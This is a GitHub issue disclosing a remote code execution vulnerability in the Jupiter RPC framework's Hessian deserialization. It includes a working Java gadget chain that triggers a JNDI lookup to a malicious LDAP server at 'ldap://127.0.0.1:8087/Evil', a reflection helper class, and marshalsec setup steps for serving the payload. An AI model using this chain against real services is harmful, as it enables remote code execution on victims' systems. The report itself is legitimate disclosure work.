Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RCE vulnerability #113

Open
adv851 opened this issue Nov 2, 2023 · 0 comments
Open

RCE vulnerability #113

adv851 opened this issue Nov 2, 2023 · 0 comments

Comments

@adv851
Copy link

adv851 commented Nov 2, 2023

Problem Description

Jupiter utilizes the Hessian protocol as a component of its RPC communication. However, this protocol presents security risks, as attackers can achieve Remote Code Execution (RCE) attacks by meticulously crafting serialized data.

Reproduce

Provider Side

We employed the built-in module "jupiter-example" of the project to set up the test environment for the attack. The JDK version used is 8u65.
截屏2023-11-02 21 40 59

The Malicious LDAP Server
  1. We used "marshalsec-0.0.3-SNAPSHOT-all.jar" tool to set up a malicious LDAP server.
截屏2023-11-02 22 14 53
  1. Deploying an HTTP server in the directory containing the malicious files.
截屏2023-11-02 22 15 05
POC

The code for sending client requests.
Utilizing the code from the org.jupiter.example.non.annotation.JupiterClient.java example, modify the transmitted data to be carefully designed serialized data (Line 67).
截屏2023-11-02 22 00 56

    public static Object getEvilObj() throws Exception {
        ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
        concurrentHashMap.put("aaa", "an,");

        UIDefaults uiDefaults = new UIDefaults();
        Object lazyValue = Reflections.createWithObjectNoArgsConstructor(Class.forName("javax.swing.UIDefaults$ProxyLazyValue"));
        Reflections.setFieldValue(lazyValue, "className", "javax.naming.InitialContext");
        Reflections.setFieldValue(lazyValue, "args", new Object[]{"ldap://127.0.0.1:8087/Evil"});
        Reflections.setFieldValue(lazyValue, "methodName", "doLookup");
        uiDefaults.put("aaa", lazyValue);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",uiDefaults);
        map1.put("zZ",concurrentHashMap);
        map2.put("yy",concurrentHashMap);
        map2.put("zZ",uiDefaults);

        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
        Reflections.setFieldValue(s, "table", tbl);

        return s;
    }
package org.jupiter.payload.util;

import com.nqzero.permit.Permit;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Reflections {

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }

    public static void setFieldValue(Object obj, String field, Object value){
        try{
            Class clazz = obj.getClass();
            Field fld = getField(clazz,field);
            fld.setAccessible(true);
            fld.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
    public static Constructor<?> getFirstCtor(Class clazz) throws Exception {
        final Constructor<?> ctor = clazz.getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static Object newInstance(String className, Object ... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    /**
     * 使用constructorClass的构造器构造一个classToInstantiate类
     * @param classToInstantiate 要初始化的类类型
     * @param constructorClass 构造器类
     * @param consArgTypes 参数类
     * @param consArgs  参数数值
     * @return
     * @param <T>
     */
    @SuppressWarnings ( {"unchecked"} )
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }


    public static <T> T createWithNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObj = null;
        try{
            Constructor<?> constructor = clzToInstantiate.getDeclaredConstructor();
            constructor.setAccessible(true);
            resObj = (T)constructor.newInstance();
        } catch (NoSuchMethodException e) {
            try {
                resObj = createWithConstructor(clzToInstantiate, clzToInstantiate.getSuperclass(),
                        new Class[0], new Object[0]);
            } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException eInner) {
                resObj = createWithObjectNoArgsConstructor(clzToInstantiate);
            }
        } catch (InvocationTargetException | InstantiationException | IllegalAccessException e) {
            e.printStackTrace();
        }

        return resObj;
    }

    public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObject = null;
        try{
            resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
        } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
        }

        return resObject;

    }
}

Attack Impact

Capable of executing an RCE attack, in this attack test, it is demonstrated through the launch of the calculator application.

截屏2023-11-02 22 05 22 截屏2023-11-02 22 08 44
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant